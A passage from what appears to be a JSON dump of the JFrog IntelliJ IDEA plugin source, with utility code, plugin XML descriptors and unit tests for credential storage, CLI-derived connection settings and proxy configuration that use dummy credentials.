resolveArtifactoryUrl(serverConfig.getArtifactoryUrl(), serverConfig.getUrl());\n        try {\n            artifactoryUsageReporter.reportUsage(artifactoryUrl, serverConfig.getUsername(), serverConfig.getPassword(), serverConfig.getAccessToken(), serverConfig.getProxyConfForTargetUrl(artifactoryUrl), createSSLContext(serverConfig), log);\n            ecosystemUsageReporter.reportUsage(new UsageReport(PRODUCT_ID, new String(DigestUtils.md5(serverConfig.getXrayUrl())), artifactoryUsageReporter.getUniqueClientId(), featureIdArray), createSSLContext(serverConfig));\n        } catch (IOException | RuntimeException | NoSuchAlgorithmException | KeyStoreException |\n                 KeyManagementException e) {\n            log.debug(\"Usage report failed: \" + ExceptionUtils.getRootCauseMessage(e));\n        }\n        log.debug(\"Usage report sent successfully.\");\n    }\n\n    /**\n     * Return true if the input URL is valid.\n     *\n     * @param urlStr - The URL to check\n     * @return true if the input URL is valid.\n     */\n    public static boolean isValidUrl(String urlStr) {\n        try {\n            new URL(urlStr).toURI();\n            return true;\n        } catch (URISyntaxException | MalformedURLException e) {\n            return false;\n        }\n    }\n\n    /**\n     * Walk on each file in the resource path and copy files recursively to the target directory.\n     *\n     * @param resourceName - Abs path in resources begins with '/'\n     * @param targetDir    - Destination directory\n     * @throws URISyntaxException in case of error in converting the URL to URI.\n     * @throws IOException        in case of any unexpected I/O error.\n     */\n    public static void extractFromResources(String resourceName, Path targetDir) throws URISyntaxException, IOException {\n        URL resource = Utils.class.getResource(resourceName);\n        if (resource == null) {\n            throw new IOException(\"Resource '\" + resourceName + \"' was not found\");\n        }\n        try (FileSystem fileSystem = FileSystems.newFileSystem(resource.toURI(), Collections.emptyMap())) {\n            Path jarPath = fileSystem.getPath(resourceName);\n            Files.walkFileTree(jarPath, new SimpleFileVisitor<>() {\n                @Override\n                public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) throws IOException {\n                    Files.createDirectories(targetDir.resolve(jarPath.relativize(dir).toString()));\n                    return FileVisitResult.CONTINUE;\n                }\n\n                @Override\n                public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) throws IOException {\n                    Files.copy(file, targetDir.resolve(jarPath.relativize(file).toString()), StandardCopyOption.REPLACE_EXISTING);\n                    return FileVisitResult.CONTINUE;\n                }\n            });\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/resources/META-INF/plugin.xml",
    "content": "<idea-plugin>\n    <id>org.jfrog.idea</id>\n    <name>JFrog</name>\n    <vendor email=\"support@jfrog.com\" url=\"https://www.jfrog.com\">JFrog</vendor>\n\n    <description><![CDATA[\n        <p>The plugin allows developers to find and fix security vulnerabilities in their projects and to see valuable information about the status of their code by continuously scanning it locally with the <a href=\"https://jfrog.com/xray/\">JFrog Platform</a>.</p>\n\n        <h3>Software Composition Analysis (SCA)</h3>\n        <p>Scan your project dependencies for security issues. The plugin offers an automatic upgrade of the vulnerable dependencies to versions which include fixes.</p>\n\n        <h3>CVE Research and Enrichment</h3>\n        <p>\n        For selected security issues, get leverage-enhanced CVE data that is provided by our JFrog Security Research team. Prioritize the CVEs based on:\n        <ul>\n        <li>JFrog Severity: The severity given by the JFrog Security Research team after the manual analysis of the CVE by the team. CVEs with the highest JFrog security severity are the most likely to be used by real-world attackers. This means that you should put effort into fixing them as soon as possible.</li>\n        <li>Research Summary: The summary that is based on JFrog's security analysis of the security issue provides detailed technical information on the specific conditions for the CVE to be applicable.</li>\n        <li>Remediation: Detailed fix and mitigation options for the CVEs.</li>\n        </ul>\n        <br>\n        Check out what our research team is up to and stay updated on newly discovered issues by clicking on this link: https://research.jfrog.com\n        </p>\n\n        <h3>Advanced Scans</h3>\n        <p>Vulnerability Contextual Analysis: This feature uses the code context to eliminate false positive reports on vulnerable dependencies that are not applicable to the code. Vulnerability Contextual Analysis is currently supported for Python, JavaScript, and Java code.</p>\n        <p>Secrets Detection: Prevent the expose of keys or credentials that are stored in your source code.</p>\n        <p>Infrastructure as Code (IaC) Scans: Secure your IaC files. Critical to keeping your cloud deployment safe and secure.</p>\n        <br>\n        <p>Advanced Scans require Xray version 3.66.5 or above and Enterprise X / Enterprise+ subscription with Advanced DevSecOps.</p>\n        <p>For more information about the plugin see the <a href=\"https://github.com/jfrog/jfrog-idea-plugin#readme\">README</a>.</p>\n    ]]></description>\n\n    <change-notes>\n        <![CDATA[\n          For the latest release notes, please visit our <a href=\"https://github.com/jfrog/jfrog-idea-plugin/releases\">Release Notes</a> page.\n        ]]>\n    </change-notes>\n\n    <depends>com.intellij.modules.lang</depends>\n    <depends>com.intellij.modules.json</depends>\n    <depends config-file=\"with-gradle.xml\" optional=\"true\">com.intellij.gradle</depends>\n    <depends config-file=\"with-groovy.xml\" optional=\"true\">org.intellij.groovy</depends>\n    <depends config-file=\"with-kotlin.xml\" optional=\"true\">org.jetbrains.kotlin</depends>\n    <depends config-file=\"with-maven.xml\" optional=\"true\">org.jetbrains.idea.maven</depends>\n    <depends config-file=\"with-go.xml\" optional=\"true\">org.jetbrains.plugins.go</depends>\n    <depends config-file=\"with-python.xml\" optional=\"true\">com.intellij.modules.python</depends>\n    <depends config-file=\"with-python-ce.xml\" optional=\"true\">PythonCore</depends>\n\n\n    <extensions defaultExtensionNs=\"com.intellij\">\n        <applicationConfigurable id=\"JFrogGlobal\" displayName=\"JFrog Global Configuration\"\n                                 instance=\"com.jfrog.ide.idea.ui.configuration.JFrogGlobalConfiguration\"/>\n        <projectConfigurable id=\"JFrogCi\" displayName=\"JFrog CI Integration\"\n                             instance=\"com.jfrog.ide.idea.ui.configuration.JFrogProjectConfiguration\"/>\n        <applicationService serviceImplementation=\"com.jfrog.ide.idea.log.Logger\"/>\n        <applicationService serviceImplementation=\"com.jfrog.ide.idea.configuration.GlobalSettings\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.ui.menus.filtermanager.CiFilterManager\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.scan.ScanManager\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.ci.CiManager\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.ui.LocalComponentsTree\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.ui.CiComponentsTree\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.ui.JFrogToolWindow\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.navigation.NavigationService\"/>\n        <projectService serviceImplementation=\"com.jfrog.ide.idea.inspections.JumpToCode\"/>\n        <toolWindow id=\"JFrog\" anchor=\"bottom\" icon=\"/icons/jfrog_icon.svg\"\n                    factoryClass=\"com.jfrog.ide.idea.ui.JFrogToolWindowFactory\" canCloseContents=\"false\"/>\n        <notificationGroup id=\"JFrog Errors\" displayType=\"BALLOON\" isLogByDefault=\"false\"/>\n        <notificationGroup id=\"JFrog Log\" displayType=\"NONE\" isLogByDefault=\"true\"/>\n        <editorFloatingToolbarProvider implementation=\"com.jfrog.ide.idea.ui.JFrogFloatingToolbar\"/>\n\n        <localInspection language=\"JSON\"\n                         displayName=\"Show in JFrog plugin\"\n                         groupBundle=\"messages.InspectionsBundle\"\n                         groupKey=\"group.names.probable.bugs\"\n                         enabledByDefault=\"true\"\n                         implementationClass=\"com.jfrog.ide.idea.inspections.NpmInspection\"/>\n        <annotator language=\"JSON\" implementationClass=\"com.jfrog.ide.idea.inspections.NpmInspection\"/>\n        <localInspection language=\"JSON\"\n                         displayName=\"Show in JFrog plugin\"\n                         groupBundle=\"messages.InspectionsBundle\"\n                         groupKey=\"group.names.probable.bugs\"\n                         enabledByDefault=\"true\"\n                         implementationClass=\"com.jfrog.ide.idea.inspections.YarnInspection\"/>\n        <annotator language=\"JSON\" implementationClass=\"com.jfrog.ide.idea.inspections.YarnInspection\"/>\n        <externalAnnotator language=\"\"\n                           implementationClass=\"com.jfrog.ide.idea.inspections.JFrogSecurityAnnotator\"/>\n    </extensions>\n\n    <actions>\n        <group id=\"JFrog.Floating\">\n            <action id=\"JFrog.FloatingStartLocalScan\"\n                    class=\"com.jfrog.ide.idea.actions.StartLocalScanAction\"\n                    text=\"Trigger Scan\"\n                    description=\"Trigger JFrog scan\"\n                    icon=\"/icons/jfrog_icon.svg\"/>\n        </group>\n        <action id=\"JFrog.StartLocalScan\"\n                class=\"com.jfrog.ide.idea.actions.StartLocalScanAction\"\n                text=\"Trigger Scan\"\n                description=\"Trigger JFrog scan\"\n                icon=\"AllIcons.Actions.Execute\"/>\n        <action id=\"JFrog.StopLocalScan\"\n                class=\"com.jfrog.ide.idea.actions.StopLocalScanAction\"\n                text=\"Stop Scan\"\n                description=\"Cancel all JFrog scan tasks\"\n                icon=\"AllIcons.Actions.Suspend\"/>\n        <action id=\"JFrog.RefreshBuilds\"\n                class=\"com.jfrog.ide.idea.actions.RefreshBuildsAction\"\n                text=\"Refresh Builds\"\n                description=\"Force refresh builds\"\n                icon=\"AllIcons.Actions.Refresh\"/>\n        <action id=\"JFrog.CollapseAll\"\n                class=\"com.jfrog.ide.idea.actions.CollapseAllAction\"/>\n        <action id=\"JFrog.ExpandAll\"\n                class=\"com.jfrog.ide.idea.actions.ExpandAllAction\"/>\n        <action id=\"JFrog.GoToSettings\"\n                class=\"com.jfrog.ide.idea.actions.GoToSettingsAction\"/>\n        <action id=\"JFrog.ScanTimeLabelAction\"\n                class=\"com.jfrog.ide.idea.actions.ScanTimeLabelAction\"\n        />\n    </actions>\n\n</idea-plugin>\n"
  },
  {
    "path": "src/main/resources/META-INF/with-go.xml",
    "content": "<idea-plugin>\n    <depends>com.intellij.modules.platform</depends>\n    <extensions defaultExtensionNs=\"com.intellij\">\n        <localInspection language=\"vgo\"\n                         displayName=\"Show in JFrog plugin\"\n                         groupBundle=\"messages.InspectionsBundle\"\n                         groupKey=\"group.names.probable.bugs\"\n                         enabledByDefault=\"true\"\n                         implementationClass=\"com.jfrog.ide.idea.inspections.GoInspection\"/>\n        <annotator language=\"vgo\" implementationClass=\"com.jfrog.ide.idea.inspections.GoInspection\"/>\n    </extensions>\n</idea-plugin>"
  },
  {
    "path": "src/main/resources/META-INF/with-gradle.xml",
    "content": "<idea-plugin/>"
  },
  {
    "path": "src/main/resources/META-INF/with-groovy.xml",
    "content": "<idea-plugin>\n    <extensions defaultExtensionNs=\"com.intellij\">\n        <localInspection language=\"Groovy\"\n                         displayName=\"Show in JFrog plugin\"\n                         groupBundle=\"messages.InspectionsBundle\"\n                         groupKey=\"group.names.probable.bugs\"\n                         enabledByDefault=\"true\"\n                         implementationClass=\"com.jfrog.ide.idea.inspections.GradleGroovyInspection\"/>\n        <annotator language=\"Groovy\" implementationClass=\"com.jfrog.ide.idea.inspections.GradleGroovyInspection\"/>\n    </extensions>\n</idea-plugin>\n"
  },
  {
    "path": "src/main/resources/META-INF/with-kotlin.xml",
    "content": "<idea-plugin>\n    <extensions defaultExtensionNs=\"com.intellij\">\n        <localInspection language=\"kotlin\"\n                         displayName=\"Show in JFrog plugin\"\n                         groupBundle=\"messages.InspectionsBundle\"\n                         groupKey=\"group.names.probable.bugs\"\n                         enabledByDefault=\"true\"\n                         implementationClass=\"com.jfrog.ide.idea.inspections.GradleKotlinInspection\"/>\n        <annotator language=\"kotlin\" implementationClass=\"com.jfrog.ide.idea.inspections.GradleKotlinInspection\"/>\n    </extensions>\n</idea-plugin>"
  },
  {
    "path": "src/main/resources/META-INF/with-maven.xml",
    "content": "<idea-plugin>\n    <extensions defaultExtensionNs=\"com.intellij\">\n        <localInspection language=\"XML\"\n                         displayName=\"Show in JFrog plugin\"\n                         groupBundle=\"messages.InspectionsBundle\"\n                         groupKey=\"group.names.probable.bugs\"\n                         enabledByDefault=\"true\"\n                         implementationClass=\"com.jfrog.ide.idea.inspections.MavenInspection\"/>\n        <annotator language=\"XML\" implementationClass=\"com.jfrog.ide.idea.inspections.MavenInspection\"/>\n    </extensions>\n</idea-plugin>"
  },
  {
    "path": "src/main/resources/META-INF/with-python-ce.xml",
    "content": "<idea-plugin>\n    <depends>com.intellij.modules.platform</depends>\n    <depends>com.intellij.modules.python-core-capable</depends>\n</idea-plugin>"
  },
  {
    "path": "src/main/resources/META-INF/with-python.xml",
    "content": "<idea-plugin>\n    <depends>com.intellij.modules.platform</depends>\n    <depends>com.intellij.modules.python-pro-capable</depends>\n</idea-plugin>"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/ProgressIndicatorMock.java",
    "content": "package com.jfrog.ide.idea;\n\n\npublic class ProgressIndicatorMock implements com.jfrog.ide.common.log.ProgressIndicator {\n\n    @Override\n    public void setFraction(double fraction) {\n\n    }\n\n    @Override\n    public void setIndeterminate(boolean indeterminate) {\n\n    }\n\n    @Override\n    public void setText(String title) {\n\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/TestUtils.java",
    "content": "package com.jfrog.ide.idea;\n\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiFile;\nimport com.jfrog.ide.common.deptree.DepTree;\nimport com.jfrog.ide.common.deptree.DepTreeNode;\nimport org.junit.Assert;\n\n/**\n * Created by Bar Belity on 11/06/2020.\n */\npublic class TestUtils {\n\n    public static PsiElement getNonLeafElement(PsiFile fileDescriptor, Class<? extends PsiElement> psiClass, int position) {\n        PsiElement element = fileDescriptor.findElementAt(position);\n        Assert.assertNotNull(element);\n        while (!(psiClass.isAssignableFrom(element.getClass()))) {\n            element = element.getParent();\n            Assert.assertNotNull(element);\n        }\n        return element;\n    }\n\n    /**\n     * Get the dependency tree child. Fail the test if it doesn't exist.\n     *\n     * @param depTree   - The dependency tree\n     * @param childName - The child name to search\n     * @return the dependency tree child.\n     */\n    public static DepTreeNode getAndAssertChild(DepTree depTree, DepTreeNode parent, String childName) {\n        Assert.assertTrue(parent.getChildren().contains(childName));\n        DepTreeNode childNode = depTree.nodes().get(childName);\n        Assert.assertNotNull(\"Couldn't find node '\" + childName + \"'.\", childNode);\n        return childNode;\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/configuration/ConfigurationTest.java",
    "content": "package com.jfrog.ide.idea.configuration;\n\nimport com.intellij.credentialStore.Credentials;\nimport com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase;\nimport com.intellij.util.EnvironmentUtil;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\n\nimport static com.jfrog.ide.idea.configuration.ServerConfigImpl.*;\n\n/**\n * @author yahavi\n **/\npublic class ConfigurationTest extends LightJavaCodeInsightFixtureTestCase {\n\n    private static final String JFROG_SETTINGS_CREDENTIALS_KEY = \"com.jfrog.ideaTest\";\n    private static final String ARTIFACTORY_URL = \"https://steve.jfrog.io/artifactory\";\n    private static final String XRAY_URL = \"https://steve.jfrog.io/xray\";\n    private static final String PLATFORM_URL = \"https://steve.jfrog.io\";\n    private static final String EXCLUDED_PATHS = \"**/*{ares}*\";\n    private static final String JFROG_PROJECT = \"ideaTest\";\n    private static final int CONNECTION_TIMEOUT = 70;\n    private static final int CONNECTION_RETRIES = 5;\n    private static final String EXTERNAL_RESOURCES_REPO = \"releases\";\n    private static final String PASSWORD = \"prince\";\n    private static final String USERNAME = \"diana\";\n    private static final String WATCH = \"heimdall\";\n\n    @Override\n    protected void setUp() throws Exception {\n        super.setUp();\n        cleanUp();\n    }\n\n    @Override\n    protected void tearDown() throws Exception {\n        cleanUp();\n        super.tearDown();\n    }\n\n    /**\n     * Test credentials storage.\n     */\n    public void testStoreCredentials() {\n        ServerConfigImpl serverConfig = createServerConfig(true, true, true);\n\n        // Add credentials\n        serverConfig.addCredentialsToPasswordSafe();\n\n        // Check credentials\n        Credentials credentials = serverConfig.getCredentialsFromPasswordSafe();\n        assertNotNull(credentials);\n        assertEquals(USERNAME, credentials.getUserName());\n        assertEquals(PASSWORD, credentials.getPasswordAsString());\n\n        // Remove credentials\n        serverConfig.removeCredentialsFromPasswordSafe();\n        assertNull(serverConfig.getCredentialsFromPasswordSafe());\n    }\n\n    /**\n     * Test set server config in the GlobalSettings.\n     */\n    public void testSetServerConfig() {\n        // Create overriding server config\n        GlobalSettings globalSettings = new GlobalSettings();\n        ServerConfigImpl overrideServerConfig = createServerConfig(true, true, true);\n\n        // Save credentials in the PasswordSafe and delete credentials from the overriding server.\n        // We do this to simulate GlobalSettings load from file.\n        overrideServerConfig.addCredentialsToPasswordSafe();\n        overrideServerConfig.setUsername(\"\");\n        overrideServerConfig.setPassword(\"\");\n        globalSettings.setServerConfig(overrideServerConfig);\n\n        // Check that the server in the global settings was overridden.\n        ServerConfigImpl actualServerConfig = globalSettings.getServerConfig();\n        assertEquals(PLATFORM_URL, actualServerConfig.getUrl());\n        assertEquals(XRAY_URL, actualServerConfig.getXrayUrl());\n        assertEquals(ARTIFACTORY_URL, actualServerConfig.getArtifactoryUrl());\n        assertEquals(USERNAME, actualServerConfig.getUsername());\n        assertEquals(PASSWORD, actualServerConfig.getPassword());\n        assertEquals(CONNECTION_RETRIES, actualServerConfig.getConnectionRetries());\n        assertEquals(CONNECTION_TIMEOUT, actualServerConfig.getConnectionTimeout());\n        assertEquals(EXTERNAL_RESOURCES_REPO, actualServerConfig.getExternalResourcesRepo());\n        assertEquals(EXCLUDED_PATHS, actualServerConfig.getExcludedPaths());\n        assertEquals(JFROG_PROJECT, actualServerConfig.getProject());\n        assertEquals(WATCH, actualServerConfig.getWatches());\n    }\n\n    /**\n     * Test policy types in the GlobalSettings.\n     */\n    public void testPolicyType() {\n        GlobalSettings globalSettings = new GlobalSettings();\n\n        // Check \"vulnerabilities\" policy type\n        ServerConfigImpl serverConfig = new ServerConfigImpl.Builder().setPolicyType(PolicyType.VULNERABILITIES).build();\n        globalSettings.setServerConfig(serverConfig);\n        ServerConfigImpl actualServerConfig = globalSettings.getServerConfig();\n        assertEquals(PolicyType.VULNERABILITIES, actualServerConfig.getPolicyType());\n\n        // Check \"project\" policy type\n        serverConfig = new ServerConfigImpl.Builder().setPolicyType(PolicyType.PROJECT).build();\n        globalSettings.setServerConfig(serverConfig);\n        actualServerConfig = globalSettings.getServerConfig();\n        assertEquals(PolicyType.PROJECT, actualServerConfig.getPolicyType());\n\n        // Check \"watch\" policy type\n        serverConfig = new ServerConfigImpl.Builder().setPolicyType(PolicyType.WATCHES).build();\n        globalSettings.setServerConfig(serverConfig);\n        actualServerConfig = globalSettings.getServerConfig();\n        assertEquals(PolicyType.WATCHES, actualServerConfig.getPolicyType());\n    }\n\n    /**\n     * Test set server config from environment variables.\n     */\n    public void testSetServerConfigFromEnv() {\n        try (MockedStatic<EnvironmentUtil> mockController = Mockito.mockStatic(EnvironmentUtil.class)) {\n            mockController.when(() -> EnvironmentUtil.getValue(PLATFORM_URL_ENV)).thenReturn(\"https://tython.jfrog.io\");\n            mockController.when(() -> EnvironmentUtil.getValue(XRAY_URL_ENV)).thenReturn(\"https://tython.jfrog.io/xray\");\n            mockController.when(() -> EnvironmentUtil.getValue(ARTIFACTORY_URL_ENV)).thenReturn(\"https://tython.jfrog.io/artifactory\");\n            mockController.when(() -> EnvironmentUtil.getValue(USERNAME_ENV)).thenReturn(\"leia\");\n            mockController.when(() -> EnvironmentUtil.getValue(PASSWORD_ENV)).thenReturn(\"princess\");\n            mockController.when(() -> EnvironmentUtil.getValue(PROJECT_ENV)).thenReturn(\"x\");\n\n            // Create overriding server config\n            GlobalSettings globalSettings = new GlobalSettings();\n            ServerConfigImpl overrideServerConfig = createServerConfig(false, false, false);\n\n            // Check that the server in the global settings was overridden by the environment variables\n            globalSettings.setServerConfig(overrideServerConfig);\n            ServerConfigImpl actualServerConfig = globalSettings.getServerConfig();\n            assertFalse(actualServerConfig.isXrayConfigured());\n            assertFalse(actualServerConfig.isArtifactoryConfigured());\n            actualServerConfig.readConnectionDetailsFromEnv();\n            assertTrue(actualServerConfig.isXrayConfigured());\n            assertTrue(actualServerConfig.isArtifactoryConfigured());\n            assertEquals(\"https://tython.jfrog.io\", actualServerConfig.getUrl());\n            assertEquals(\"https://tython.jfrog.io/xray\", actualServerConfig.getXrayUrl());\n            assertEquals(\"https://tython.jfrog.io/artifactory\", actualServerConfig.getArtifactoryUrl());\n            assertEquals(\"leia\", actualServerConfig.getUsername());\n            assertEquals(\"princess\", actualServerConfig.getPassword());\n            assertEquals(\"x\", actualServerConfig.getProject());\n            assertEquals(CONNECTION_RETRIES, actualServerConfig.getConnectionRetries());\n            assertEquals(CONNECTION_TIMEOUT, actualServerConfig.getConnectionTimeout());\n            assertEquals(EXCLUDED_PATHS, actualServerConfig.getExcludedPaths());\n            assertEquals(WATCH, actualServerConfig.getWatches());\n        }\n    }\n\n    public void testReadMissingConfFromEnv() {\n        try (MockedStatic<EnvironmentUtil> mockController = Mockito.mockStatic(EnvironmentUtil.class)) {\n            mockController.when(() -> EnvironmentUtil.getValue(EXTERNAL_RESOURCES_REPO_ENV)).thenReturn(\"releases-test\");\n\n            // Create overriding server config\n            GlobalSettings globalSettings = new GlobalSettings();\n            ServerConfigImpl overrideServerConfig = createServerConfig(true, true, false);\n            globalSettings.setServerConfig(overrideServerConfig);\n\n            // Check that the external resources repository field was overridden\n            ServerConfigImpl actualServerConfig = globalSettings.getServerConfig();\n            actualServerConfig.readMissingConfFromEnv();\n            assertEquals(\"releases-test\", actualServerConfig.getExternalResourcesRepo());\n        }\n    }\n\n    /**\n     * Create server config for the tests.\n     *\n     * @param xrayUrl        - True if should set Xray URL\n     * @param artifactoryUrl - True if should set Artifactory URL\n     * @return server config\n     */\n    ServerConfigImpl createServerConfig(boolean xrayUrl, boolean artifactoryUrl, boolean externalResourcesRepo) {\n        return new ServerConfigImpl.Builder()\n                .setJFrogSettingsCredentialsKey(JFROG_SETTINGS_CREDENTIALS_KEY)\n                .setUrl(PLATFORM_URL)\n                .setXrayUrl(xrayUrl ? XRAY_URL : \"\")\n                .setArtifactoryUrl(artifactoryUrl ? ARTIFACTORY_URL : \"\")\n                .setUsername(USERNAME)\n                .setPassword(PASSWORD)\n                .setConnectionRetries(CONNECTION_RETRIES)\n                .setConnectionTimeout(CONNECTION_TIMEOUT)\n                .setExternalResourcesRepo(externalResourcesRepo ? EXTERNAL_RESOURCES_REPO : null)\n                .setExcludedPaths(EXCLUDED_PATHS)\n                .setProject(JFROG_PROJECT)\n                .setWatches(WATCH)\n                .build();\n    }\n\n    /**\n     * Clean up PasswordSafe.\n     */\n    private void cleanUp() {\n        createServerConfig(true, true, true).removeCredentialsFromPasswordSafe();\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/configuration/ConnectionDetailsFromCliTest.java",
    "content": "package com.jfrog.ide.idea.configuration;\n\nimport com.intellij.util.EnvironmentUtil;\nimport com.jfrog.ide.common.configuration.JfrogCliDriver;\nimport org.apache.commons.io.FileUtils;\nimport org.gradle.internal.impldep.org.junit.Assert;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.Parameterized;\nimport org.mockito.MockedStatic;\nimport org.mockito.Mockito;\n\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.util.*;\n\nimport static org.junit.Assert.assertEquals;\n\n/**\n * @author yahavi\n **/\n@RunWith(Parameterized.class)\npublic class ConnectionDetailsFromCliTest {\n\n    private final String[] cliParameters;\n    private final Exception expectedException;\n    private final boolean shouldSuccess;\n\n    public ConnectionDetailsFromCliTest(String[] cliParameters, Exception expectedException, boolean shouldSuccess) {\n        this.cliParameters = cliParameters;\n        this.expectedException = expectedException;\n        this.shouldSuccess = shouldSuccess;\n    }\n\n    @Parameterized.Parameters\n    public static Collection<Object[]> dataProvider() {\n        return Arrays.asList(new Object[][]{\n                // No JFrog CLI config\n                {null, new IOException(\"'jfrog config export' command failed. That might be happen if you haven't config any CLI server yet or using the config encryption feature.\"), false},\n\n                // URLs without credentials\n                {new String[]{\"c\", \"add\", \"--xray-url=http://127.0.0.1\"}, null, false},\n                {new String[]{\"c\", \"add\", \"--artifactory-url=http://127.0.0.1\"}, null, false},\n\n                // Credentials without URLs\n                {new String[]{\"c\", \"add\", \"--user=admin\"}, null, false},\n                {new String[]{\"c\", \"add\", \"--user=admin\", \"--password=password\"}, null, false},\n                {new String[]{\"c\", \"add\", \"--access-token=123\"}, null, false},\n\n                // Partial URLs\n                {new String[]{\"c\", \"add\", \"--artifactory-url=http://127.0.0.1:8081/artifactory\", \"--user=admin\", \"--password=password\", \"--enc-password=false\"}, null, false},\n                {new String[]{\"c\", \"add\", \"--xray-url=http://127.0.0.1:8081/xray\", \"--user=admin\", \"--password=password\", \"--enc-password=false\"}, null, false},\n\n                // Positive tests\n                {new String[]{\"c\", \"add\", \"--url=http://127.0.0.1:8081\", \"--user=admin\", \"--password=password\", \"--enc-password=false\"}, null, true},\n                {new String[]{\"c\", \"add\", \"--url=http://127.0.0.1:8081\", \"--access-token=123\"}, null, true},\n        });\n    }\n\n    @Test\n    public void testReadConnectionDetailsFromJfrogCli() throws IOException, InterruptedException {\n        Path jfrogCliHome = Files.createTempDirectory(\"testReadConnectionDetailsFromJfrogCli\");\n        try (MockedStatic<EnvironmentUtil> mockController = Mockito.mockStatic(EnvironmentUtil.class)) {\n            // Set environment variables\n            Map<String, String> envVars = new HashMap<>(System.getenv()) {{\n                put(\"JFROG_CLI_HOME_DIR\", jfrogCliHome.toAbsolutePath().toString());\n                put(\"CI\", \"true\");\n            }};\n            mockController.when(EnvironmentUtil::getEnvironmentMap).thenReturn(envVars);\n\n            // Config JFrog CLI\n            if (cliParameters != null) {\n                JfrogCliDriver jfrogCliDriver = new JfrogCliDriver(envVars, null);\n                jfrogCliDriver.runCommand(null, envVars, cliParameters, new ArrayList<>(), null, null);\n            }\n\n            // Check results\n            ServerConfigImpl serverConfig = new ServerConfigImpl();\n            if (expectedException != null) {\n                Assert.assertThrows(expectedException.getMessage(), expectedException.getClass(), serverConfig::readConnectionDetailsFromJfrogCli);\n            } else {\n                assertEquals(shouldSuccess, serverConfig.readConnectionDetailsFromJfrogCli());\n            }\n        } finally {\n            FileUtils.forceDelete(jfrogCliHome.toFile());\n        }\n    }\n}\n"
  },
  {
    "path": "src/test/java/com/jfrog/ide/idea/configuration/GetProxyConfForTargetUrlTest.java",
    "content": "package com.jfrog.ide.idea.configuration;\n\nimport com.intellij.testFramework.fixtures.LightJavaCodeInsightFixtureTestCase;\nimport com.intellij.util.net.HttpConfigurable;\nimport com.jfrog.ide.common.configuration.ServerConfig;\nimport org.jfrog.build.client.ProxyConfiguration;\n\nimport java.io.File;\nimport java.net.PasswordAuthentication;\nimport java.net.URL;\n\n/**\n * @author yahavi\n */\npublic class GetProxyConfForTargetUrlTest extends LightJavaCodeInsightFixtureTestCase {\n\n    private final ServerConfig serverConfig = new ServerConfigImpl();\n    private HttpConfigurable httpConfigurable;\n\n    @Override\n    public void setUp() throws Exception {\n        super.setUp();\n        // Disable all proxies\n        httpConfigurable = HttpConfigurable.getInstance();\n        httpConfigurable.USE_HTTP_PROXY = false;\n        httpConfigurable.USE_PROXY_PAC = false;\n\n        // Set PAC URL\n        URL pacUrl = getClass().getClassLoader().getResource(\"proxy/proxy.pac\");\n        assertNotNull(pacUrl);\n        File pacFile = new File(pacUrl.getFile());\n        httpConfigurable.PAC_URL = pacFile.getAbsolutePath();\n        httpConfigurable.USE_PAC_URL = true;\n    }\n\n    /**\n     * Check that we get null proxy configuration if proxy is not defined.\n     */\n    public void testProxyNotConfigured() {\n        ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl(\"https://1.2.3.4\");\n        assertNull(proxyConfig);\n    }\n\n    /**\n     * Check manual proxy configuration.\n     */\n    public void testManuallyConfiguredProxy() {\n        // Set manual proxy configuration\n        httpConfigurable.USE_HTTP_PROXY = true;\n        httpConfigurable.PROXY_HOST = \"proxyHost.org\";\n        httpConfigurable.PROXY_PORT = 8888;\n        httpConfigurable.PROXY_AUTHENTICATION = true;\n        httpConfigurable.setProxyLogin(\"admin\");\n        httpConfigurable.setPlainProxyPassword(\"password\");\n\n        // Get proxy config for https://1.2.3.4\n        ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl(\"https://1.2.3.4\");\n        assertNotNull(proxyConfig);\n\n        // Check proxy config\n        assertEquals(\"proxyHost.org\", proxyConfig.host);\n        assertEquals(8888, proxyConfig.port);\n        assertEquals(\"admin\", proxyConfig.username);\n        assertEquals(\"password\", proxyConfig.password);\n    }\n\n    /**\n     * Test proxy configuration using PAC file.\n     * The PAC file is configured to return \"proxyPacHost.org:8888\" for \"https://1.2.3.4\" URL.\n     */\n    public void testPacConfiguredProxy() {\n        // Set PAC proxy configuration\n        httpConfigurable.USE_PROXY_PAC = true;\n        PasswordAuthentication passwordAuthentication = new PasswordAuthentication(\"admin\", \"password\".toCharArray());\n        httpConfigurable.putGenericPassword(\"proxyPacHost.org\", 8888, passwordAuthentication, true);\n\n        // Get proxy config for https://1.2.3.4\n        ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl(\"https://1.2.3.4\");\n        assertNotNull(proxyConfig);\n\n        // Check proxy config\n        assertEquals(\"proxyPacHost.org\", proxyConfig.host);\n        assertEquals(8888, proxyConfig.port);\n        assertEquals(\"admin\", proxyConfig.username);\n        assertEquals(\"password\", proxyConfig.password);\n    }\n\n    /**\n     * Test proxy configuration using PAC file.\n     * The PAC file is configured to return \"DIRECT\" for \"https://1.2.3.5\" URL.\n     */\n    public void testPacConfiguredNoProxy() {\n        // Set PAC proxy configuration\n        httpConfigurable.USE_PROXY_PAC = true;\n\n        // Assert no proxy config for https://1.2.3.5\n        ProxyConfiguration proxyConfig = serverConfig.getProxyConfForTargetUrl(\"https://1.2.3.5\");\n        assertNull(proxyConfig);\n    }\n}\n"
  },
  {
